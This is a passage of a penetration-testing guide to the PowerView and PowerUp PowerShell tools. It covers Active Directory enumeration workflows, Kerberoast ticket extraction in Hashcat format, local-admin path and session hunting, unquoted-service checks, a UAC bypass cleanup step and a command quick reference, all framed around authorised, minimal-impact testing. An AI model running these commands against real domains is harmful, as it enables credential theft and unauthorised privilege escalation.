This is a UAC bypass helper, not a standard-user-to-admin privilege escalation: the current identity must already hold a suitable administrator token. The function temporarily changes the current user’s mscfile shell-open command and tries to remove it afterward. Verify cleanup:

Test-Path 'HKCU:\Software\Classes\mscfile'

16.8 Cleanup checklist

[ ] Original service ImagePath/start mode/account restored
[ ] Original executable/config file restored and hash checked
[ ] Generated EXE/DLL/BAT/MSI/proof file removed
[ ] Temporary user removed
[ ] Temporary group membership removed
[ ] Registry values/keys restored or removed
[ ] Service/application starts and operates normally
[ ] Transcript and evidence protected according to engagement rules
[ ] Change and cleanup timestamps recorded

17. Worked Workflows

17.1 Low-noise domain orientation

. .\PowerView.ps1
$Domain = Get-Domain
$DCs    = Get-DomainController
$Trusts = Get-DomainTrust
$Policy = Get-DomainPolicyData

$Domain | Format-List Name,Forest,DomainControllers
$DCs | Select-Object Name,IPAddress,SiteName,OperatingSystem
$Trusts | Format-Table SourceName,TargetName,TrustDirection,TrustType -AutoSize
$Policy.SystemAccess | Format-List

17.2 Identify a user’s effective path to local admin

$User = 'CORP\alice'

# Domain groups
Get-DomainGroup -MemberIdentity $User | Select-Object samaccountname,distinguishedname

# GPO-derived local admin placements
Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators

# Validate only the resulting hosts
$Targets = Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators |
  Select-Object -ExpandProperty ComputerName -Unique
$Targets | Test-AdminAccess

17.3 Investigate a BloodHound ACL edge

$Principal = 'CORP\helpdesk'
$Target    = 'alice'
$Sid       = ConvertTo-SID $Principal

Get-DomainObjectAcl -Identity $Target -ResolveGUIDs |
  Where-Object SecurityIdentifier -eq $Sid |
  Select-Object AceType,ActiveDirectoryRights,ObjectAceType,IsInherited,InheritanceType

Decision points:

1. Does the ACE apply to this object or only descendants of a particular class?
2. Is it allowed or denied?
3. Is the principal SID enabled in the current token through direct/nested membership?
4. Is the target protected by AdminSDHolder or a protected DACL?
5. What is the least disruptive proof and exact cleanup?

17.4 Kerberoast exposure review

$Candidates = Get-DomainUser `
  -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
  -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon,memberof

$Candidates |
  Select-Object samaccountname,pwdlastset,lastlogon,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} |
  Sort-Object pwdlastset |
  Export-Csv C:\Temp\assessment\kerberoast-candidates.csv -NoTypeInformation

# Request a ticket only for the approved test identity
$Candidates | Where-Object samaccountname -eq 'svc_sql' |
  Get-DomainSPNTicket -OutputFormat Hashcat

17.5 Domain-to-host assessment flow

. .\PowerView.ps1
. .\PowerUp.ps1

# Domain side
whoami /all
Get-Domain
Get-DomainGroup -MemberIdentity $env:USERNAME
Get-DomainGPOUserLocalGroupMapping -Identity "$env:USERDOMAIN\$env:USERNAME" -LocalGroup Administrators

# Current host side
Invoke-PrivescAudit -Format Object |
  Export-Clixml C:\Temp\assessment\powerup.xml

17.6 Validate and report an unquoted service path without exploitation

$Finding = Get-UnquotedService | Where-Object ServiceName -eq 'VulnSvc'
$Finding | Format-List *

Get-ServiceDetail -Name $Finding.ServiceName | Export-Clixml C:\Temp\assessment\VulnSvc.xml
Get-Acl $Finding.ModifiablePath | Format-List | Out-File C:\Temp\assessment\VulnSvc-acl.txt

Report:

• Exact unquoted PathName.
• Candidate executable path Windows could select.
• ACL entry granting write/create rights and the affected principal.
• Privileged service account.
• Trigger/restart conditions.
• Evidence that the candidate file does not already exist or is controllable.
• Recommended remediation: quote the path and remove unnecessary write rights.

18. Troubleshooting

18.1 Self-document the exact loaded build

Get-Help Get-DomainUser -Full
Get-Help Add-DomainObjectAcl -Examples
Get-Help Invoke-PrivescAudit -Full
Get-Command Get-DomainUser -Syntax
Get-Command Invoke-ServiceAbuse -Syntax

18.2 Connectivity triage

Resolve-DnsName corp.local
Resolve-DnsName dc01.corp.local
Test-NetConnection dc01.corp.local -Port 389
Test-NetConnection dc01.corp.local -Port 445
nltest.exe /dsgetdc:corp.local
klist.exe

19. Function and Alias Index

19.1 PowerView domain functions

19.2 Common legacy PowerView aliases

19.3 PowerUp function index

20. One-Screen Quick Reference

# LOAD
. .\PowerView.ps1
. .\PowerUp.ps1

# DOMAIN BASELINE
Get-Domain
Get-DomainController
Get-ForestDomain
Get-DomainTrustMapping
Get-DomainPolicyData

# PRINCIPALS
Get-DomainUser -AdminCount
Get-DomainUser -SPN
Get-DomainUser -PreauthNotRequired
Get-DomainComputer -Unconstrained
Get-DomainComputer -TrustedToAuth
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# ACL/GPO
Find-InterestingDomainAcl -ResolveGUIDs
Get-DomainObjectAcl -Identity alice -ResolveGUIDs
Get-GPODelegation
Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup Administrators

# HOSTS/SESSIONS/SHARES
Find-LocalAdminAccess -Threads 20
Find-DomainShare -CheckShareAccess -Threads 20
Get-NetSession -ComputerName fs01
Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators

# POWERUP
$Findings = Invoke-PrivescAudit -Format Object
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Get-RegistryAutoLogon
Get-RegistryAlwaysInstallElevated

# HELP FOR THIS EXACT BUILD
Get-Command Get-DomainUser -Syntax
Get-Help Add-DomainObjectAcl -Examples
Get-Help Invoke-ServiceAbuse -Full

[!success] Core habit Enumerate narrowly, validate assumptions, capture the original state, make the smallest authorised proof, clean up, and verify restoration. PowerView and PowerUp are most valuable as evidence-producing inspection tools—not as one-click escalation buttons.